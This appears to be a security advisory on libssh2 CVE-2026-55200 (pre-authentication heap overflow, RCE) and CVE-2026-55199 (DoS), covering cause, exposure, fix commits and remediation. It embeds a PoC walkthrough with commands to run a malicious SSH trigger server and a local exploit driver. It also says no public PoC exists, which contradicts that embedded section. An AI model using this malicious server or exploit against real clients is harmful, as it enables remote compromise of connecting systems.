A vulnerability disclosure dropped quietly last week that deserves more attention than it’s getting. libssh2, the open-source SSH client library baked into curl, backup utilities, IoT firmware, and a long tail of network appliances, has a critical remote code execution bug. CVSS 9.2. Every version through 1.11.1 is affected. There is no official patch release yet.
What is libssh2 and why this is a supply chain problem
Before getting into the mechanics of the flaw, it’s worth being clear about what libssh2 is and where it sits in most software stacks, because that context is what makes this more than a standard “update your library” advisory.
libssh2 is a C library that implements the SSH2 protocol on the client side. It handles the full handshake, key exchange, encryption negotiation, and transport layer so that applications do not have to. curl uses it to support SCP and SFTP transfers, making it an omnipresent dependency of almost everything that does automated file transfers over SSH. Backup software relies on it. Network management tools rely on it. IoT device firmware relies on it. It turns up in routers, NAS devices, industrial controllers, and embedded systems that ship their own bundled copy of the library and receive firmware updates on a schedule somewhere between infrequent and never.
That bundling pattern is the problem. When libssh2 has a critical vulnerability, it is not enough to update the package on your Linux host. Every product that statically links or ships its own copy of libssh2 is independently vulnerable, and each of those products requires a separate vendor patch. That is a slow and uneven process. Some vendors will ship an update within days. Others will not respond for months. Some never will.
The bug: what the code’ Supposed to do and where it breaks
CVE-2026-55200 is an out-of-bounds heap write in ssh2_transport_read() which lives in transport.c. Understanding exactly why this is dangerous requires a brief look at how the SSH transport layer works.
When two SSH endpoints connect, they go through a binary packet protocol before any authentication happens. Each packet sent over the wire has a fixed structure: a 4-byte packet_length field that declares how many bytes follow, a 1-byte padding_length, a payload, padding bytes, and an optional MAC. The receiving side reads packet_length first, allocates a buffer of that size, then reads the rest of the packet into that buffer.
The assumption embedded in that design is that packet_length is not out of spec. If it is not and the receiving code does not independently verify that the declared length is within some sane upper bound, then the result is a classic heap overflow.
That is exactly what happens in libssh2 through 1.11.1. The library has an internal maximum packet size, but ssh2_transport_read() fails to enforce it when reading the packet_length field off the wire. An attacker-controlled server sends a packet where packet_length is set to a value far larger than the actual payload. libssh2 allocates a buffer based on the legitimate allocation size for the operation in progress, then attempts to read the declared number of bytes into it. The write goes past the end of that heap buffer, corrupting whatever memory lives adjacent to it.
Controlled heap corruption of this type is the foundation for a large class of memory exploitation techniques. What an attacker does with it depends on the heap layout and the runtime environment, but remote code execution is well within the established range of outcomes from this class of vulnerability.
The attack fires before authentication. It fires during the initial transport negotiation, which happens the moment a client initiates a connection to a server. There is no login prompt, no credential exchange, no session state to establish first. A malicious server just needs the client to connect.
Researcher Tristan Madani found and reported the issue. VulnCheck published the advisory. The root cause analysis is available in the VulnCheck write-up.

Proof of Concept: CVE-2026-55200 libssh2 Packet Length Overflow
This PoC section demonstrates the vulnerable arithmetic condition behind CVE-2026-55200 and shows how the bug can be modeled safely in a controlled local harness.
The goal is not to provide a universal exploit for every libssh2 deployment. The PoC proves three things:
- the vulnerable packet length calculation can wrap;
- the wrapped value can lead to a very small allocation;
- later packet-processing logic may still operate using the original oversized
packet_length, creating an out-of-bounds write primitive.
Only run this against local research targets, owned systems, or explicitly authorized CTF/HTB-style environments.
Vulnerable Code Shape
The affected logic exists in libssh2’s transport parser path:
src/transport.c:ssh2_transport_read()
The vulnerable source shape is roughly:
total_num = 4;packet_length = decoded SSH packet_length field;if(packet_length < 1) reject;total_num += packet_length + mac_len + auth_len;if(total_num > 35000 || total_num == 0) reject;allocate total_num bytes;
The problem is that the upper bound check on packet_length happens too late or is missing in the vulnerable path.
An attacker-controlled SSH packet can set:
packet_length = 0xffffffffmac_len = 0auth_len = 16
On the vulnerable arithmetic path:
packet_length + mac_len + auth_len= 0xffffffff + 0 + 16= 0x0000000f modulo 2^32= 15
Then:
total_num = 4 + 15total_num = 19
So the allocation decision can be made using a tiny wrapped value:
allocation size = 19 bytes
However, the original decoded SSH packet length is still:
packet_length = 0xffffffff
That mismatch is the core bug. The allocator sees a tiny packet, but later full-packet processing can still use packet-length-derived sizes based on the original oversized value.
Why This Matters
This is an integer-overflow-to-buffer-overflow pattern.
The vulnerable path accepts a malicious packet length, performs arithmetic that can wrap, allocates a much smaller buffer than intended, and then continues into code that may treat the packet as much larger.
In practical terms:
Attacker-controlled packet_length ↓32-bit arithmetic wrap ↓Small allocation ↓Original oversized packet length remains in state ↓Later packet processing can write beyond allocation ↓Heap corruption / possible RCE depending on target layout
The upstream fix adds a direct boundary check before the vulnerable addition:
else if(p->packet_length > LIBSSH2_PACKET_MAXPAYLOAD) { return LIBSSH2_ERROR_OUT_OF_BOUNDARY;}
That prevents the malicious 0xffffffff packet length from reaching the dangerous allocation path.
PoC File Layout
The local research scaffold uses four main files:
poc/cve_2026_55200_probe.c
Standalone C11 arithmetic verifier.
This proves the integer wrap and shows the vulnerable allocation decision.
poc/libpwn_cve_2026_55200_server.py
Minimal malicious SSH trigger scaffold.
This performs the SSH handshake pieces needed for a controlled encrypted trigger test and sends a malformed server-to-client packet whose decrypted SSH packet_length is 0xffffffff.
poc/libpwn_local_rce_harness.c
Controlled local vulnerable target.
This does not claim to be libssh2 itself. It models the dangerous allocation-to-control-flow pattern in a simple local program.
poc/libpwn_local_rce_exploit.py
Local exploit driver for the harness.
It demonstrates controlled command execution by overwriting a modeled callback pointer and writing a proof file.
Arithmetic Verifier
Build the verifier on Linux, macOS, WSL, or MinGW:
gcc -std=c11 -Wall -Wextra -O0 -g -o cve_2026_55200_probe poc/cve_2026_55200_probe.c./cve_2026_55200_probe
On Windows PowerShell with MinGW:
gcc -std=c11 -Wall -Wextra -O0 -g -o cve_2026_55200_probe.exe .\poc\cve_2026_55200_probe.c.\cve_2026_55200_probe.exe
Useful modes:
./cve_2026_55200_probe --benign./cve_2026_55200_probe --native./cve_2026_55200_probe --check./cve_2026_55200_probe --packet-length 0xffffffff --mac-len 0 --auth-len 16
Expected default proof condition:
vulnerable32_decision=acceptedvulnerable32_allocation=19fixed32_decision=rejected: out of boundarynative_unpatched_decision=acceptednative_note=source-shaped integer expression wraps before assignment into 64-bit size_tresult=PASS
This confirms the important condition:
0xffffffff + 0 + 16 wraps to 154 + 15 becomes 19
So the vulnerable code path can accept a maliciously large SSH packet length while making a tiny allocation decision.
Encrypted SSH Trigger Scaffold
The trigger scaffold validates the encrypted SSH delivery path locally.
Run the crypto and arithmetic self-test:
python poc/libpwn_cve_2026_55200_server.py --self-test
Run a loopback test for the minimal SSH handshake, key derivation, server-to-client sequence number, and encrypted malformed packet:
python poc/libpwn_cve_2026_55200_server.py --loopback-test --hold-open 0
The scaffold negotiates:
KEX: curve25519-sha256Host key: RSACipher: chacha20-poly1305@openssh.comDirection: server-to-client
After negotiation, the server sends a malformed encrypted packet that decrypts to:
packet_length = 0xffffffff
The purpose of this scaffold is to prove that the malicious length can be delivered through the encrypted SSH transport path, not merely through a plaintext arithmetic toy.
For an authorized local lab or CTF challenge instance only, the scaffold can be bound to a chosen listener:
python poc/libpwn_cve_2026_55200_server.py --serve --listen-host 127.0.0.1 --listen-port 2222
For isolated lab networks, adjust the bind address and port as needed:
python poc/libpwn_cve_2026_55200_server.py --serve --listen-host 0.0.0.0 --listen-port 2222
Do not expose this listener to the public internet. It is intended for controlled verification only.
The top of the script leaves these values intentionally configurable:
HOST = ""PORT = 0
That makes the same scaffold easy to adapt for loopback-only testing, containerized reproductions, or CTF lab routing.
Controlled Local RCE Harness
The local harness is a deliberately simplified vulnerable target. It models the important exploit pattern:
wrapped packet arithmetic ↓small allocation ↓oversized logical packet state ↓out-of-bounds overwrite ↓callback pointer control ↓local command execution proof
Build the harness:
gcc -O0 -g -Wall -Wextra -o poc/libpwn_local_rce_harness poc/libpwn_local_rce_harness.c
On Windows PowerShell with MinGW:
gcc -O0 -g -Wall -Wextra -o poc\libpwn_local_rce_harness.exe poc\libpwn_local_rce_harness.c
Run the local exploit driver:
python poc/libpwn_local_rce_exploit.py --harness ./poc/libpwn_local_rce_harness --proof ./poc/libpwn_rce_proof.txtcat poc/libpwn_rce_proof.txt
On Windows PowerShell:
python poc\libpwn_local_rce_exploit.pyGet-Content poc\libpwn_rce_proof.txt
Expected proof output:
RCE_PROOF=PASSlibpwn-rce-verified
This proves controlled local command execution in the harness by turning the modeled heap overwrite into callback-pointer control.
Important: this harness is not a drop-in exploit for all libssh2 clients. It is a controlled proof target that demonstrates the exploitation class. A real target still depends on allocator behavior, object layout, binary hardening, compiler settings, reachable libssh2 code paths, and how the application embeds libssh2.
64-bit Behavior Note
A common misconception is that 64-bit platforms automatically avoid this class of bug because size_t is larger.
That is not necessarily true here.
The vulnerable source-shaped expression performs the dangerous addition using 32-bit or integer operands first:
packet_length + mac_len + auth_len
With the malicious values:
0xffffffff + 0 + 16
the expression can wrap before the result is widened into a 64-bit size_t.
That means a 64-bit target can still reach:
wrapped intermediate = 15allocation size = 19
The widened destination type does not save the program if the overflow already happened before assignment.
Verification Summary
The following checks were verified locally:
python poc\libpwn_cve_2026_55200_server.py --self-testpython poc\libpwn_cve_2026_55200_server.py --loopback-test --hold-open 0gcc -O0 -g -Wall -Wextra -o poc\libpwn_local_rce_harness.exe poc\libpwn_local_rce_harness.cpython poc\libpwn_local_rce_exploit.pypython -m py_compile poc\libpwn_cve_2026_55200_server.py poc\libpwn_local_rce_exploit.py
The arithmetic verifier confirms the vulnerable allocation decision.
The encrypted SSH scaffold confirms the malformed packet can be delivered through the SSH transport flow.
The local harness confirms the exploit pattern can become command execution when memory layout and control-flow conditions are favorable.
PoC Limitations
This PoC should be read as a research scaffold, not a universal weaponized exploit.
The encrypted SSH trigger demonstrates delivery of the malformed packet_length value, but reliable RCE against a real application depends on target-specific conditions, including:
libssh2 versionapplication protocol flowallocator behaviorheap layoutcompiler and platformASLR/DEP/PIE/canary settingsreachable packet-processing pathwhether the client connects to an attacker-controlled SSH server
The local RCE harness proves that the wrapped allocation state can be turned into control-flow hijack in a controlled model. It does not prove that every libssh2 deployment is directly exploitable in the same way.
Responsible Use
Run these PoCs only in local research environments, owned systems, or explicitly authorized lab/CTF/HTB instances.
Do not expose the malicious SSH trigger scaffold to the public internet.
For production systems, the correct remediation is to update libssh2 to a fixed build containing the LIBSSH2_PACKET_MAXPAYLOAD boundary check or apply the upstream patch directly.
Thanks to exploitarium/libssh2-cve-2026-55200-poc at main · bikini/exploitarium on GitHub for the PoC!
The second vulnerability: CVE-2026-55199
A second flaw came out in the same disclosure. CVE-2026-55199 is rated 8.2, classified as high severity, and causes denial of service rather than code execution. It targets the same phase of the connection: the pre-authentication key exchange.
During the initial key exchange, the server can advertise a list of extensions it supports. In a legitimate session, that list is a small number of items. The server sends a count of how many extensions follow, then the extension data. libssh2 reads that count and loops over the declared number of extensions.
The bug is that the library does not sanity-check the extension count before entering the loop. A malicious server sends an absurdly large count value. libssh2 dutifully enters a tight CPU loop trying to process an impossible number of extensions, and stays there. Testing has shown this can consume CPU for over 60 seconds, effectively hanging the connecting client.
The practical impact is significant in any environment that runs automated SSH connections at scale. A monitoring agent, a deployment pipeline, a backup job, any of these that connects to a server the attacker controls or has compromised will spin uselessly and block any subsequent work that depends on it completing. It is not code execution, but it is not harmless either.
the awkward gap between “fixed” and “released”
Both bugs have fixes. The maintainers merged two commits: 97acf3d for CVE-2026-55200 and 1762685 for CVE-2026-55199. Both are on the master branch of the libssh2 GitHub repository. Neither has been packaged into a new official libssh2 release.
That gap between “fixed in a commit” and “released as a version” is a real operational problem. Most package managers and dependency resolution tools work off versioned releases. A commit hash is not a version. Downstream consumers of libssh2 cannot simply point their package manager at a commit and expect it to work cleanly. They need to either build from source against the patched commit, or wait for their distribution or upstream vendor to backport the fix into a proper package.
Linux distributions are doing exactly that. Debian’s security tracker shows a repaired build at version 1.11.1-3 currently in testing. Kali Linux reportedly picked up the fix earlier this year. Other major distributions will follow, but the timelines vary.
For software that bundles its own copy of libssh2, the situation is more complicated. Those products each have their own release cycles, and the vendors have to become aware of the vulnerability, integrate the patch, test it, and ship an update, all before the fix reaches users. That chain takes time, and in some product categories, particularly embedded network devices and legacy industrial software, it may not close at all.
Who is actually exposed
The short answer is: anyone whose software connects to SSH, SCP, or SFTP servers using libssh2 as the underlying transport, running any version through 1.11.1, and where the software can be directed to connect to an attacker-controlled server.
That second condition matters. This is a client-side vulnerability. The attack vector is an attacker who controls or impersonates an SSH server. In practice, that means three broad scenarios.
The first is direct man-in-the-middle attacks against unencrypted or poorly secured network paths. If an attacker can intercept TCP traffic between the libssh2 client and its intended SSH server before the encrypted channel is established, they can inject their own SSH server responses during the handshake, before any host key verification can protect the client.
The second is attacks against clients that connect to SSH servers the attacker directly controls, such as shared hosting environments, managed services, or any case where a user can set up an SSH server that other libssh2 clients will connect to.
The third is attacks against automated systems where the target server’s hostname or IP resolves to something the attacker has compromised, through DNS poisoning, BGP hijacking, or server compromise. A backup job or deployment pipeline that connects to a remote SSH server by hostname is exposed if the attacker can redirect that hostname.
In environments that use SSH strictly on trusted internal networks and verify host keys rigorously, the practical exposure is lower. In environments where clients are connecting to external servers, or where host key verification is disabled or bypassed for convenience, the exposure is higher.
Current Exploitation status
No exploitation in the wild has been confirmed. The vulnerability is not in CISA’s Known Exploited Vulnerabilities catalog. The 30-day EPSS probability, which estimates the likelihood of active exploitation, sits at 0.6%.
That is the current picture. There is no public proof-of-concept code yet. The libssh2 codebase is well-known, the advisory is published, the vulnerable function is identified by name, and the bug class (unchecked heap write from an attacker-controlled length field) is one of the better-understood categories in exploitation research. Writing a working PoC is a matter of when, not whether.
The CVSS score of 9.2 reflects the attack complexity being rated low, the privileges required being none, and the user interaction required being none. Those are the three factors that make an RCE vulnerability operationally dangerous rather than theoretically dangerous. Whenever its exploited, it will not require much from an attacker.
What to do
There are two populations of people reading this, roughly speaking: people who manage servers and development environments directly, and people who use software products that happen to contain libssh2 somewhere in their dependency tree.
For the first group, the action is to identify every application in your environment that links libssh2 for SSH, SCP, or SFTP. On Linux, ldd against any suspected binary will show whether it links against libssh2. For statically linked binaries, strings piped through grep for recognizable libssh2 function names or version strings can help. Once identified, check which version is in use. If it is 1.11.1 or earlier, and if your distribution has a backported package available, update it. If you are building from source, pull from the master branch and verify commit 97acf3d is included before building.
For applications where you do not control the build, you are waiting on the vendor. That is the less comfortable position. You can reduce exposure by hardening your network controls around the connections those applications make over SSH, by auditing which servers they are configured to connect to, and by ensuring host key verification is not disabled.
For the second group, the answer is to push your vendors. Check your software vendors’ security advisories for patches. If you run network devices, backup appliances, or any embedded system that uses SSH, check for firmware updates.
The fix is commit 97acf3d for the RCE and commit 1762685 for the DoS. Any build that does not include those two commits is vulnerable. That is the only question worth asking vendors right now.








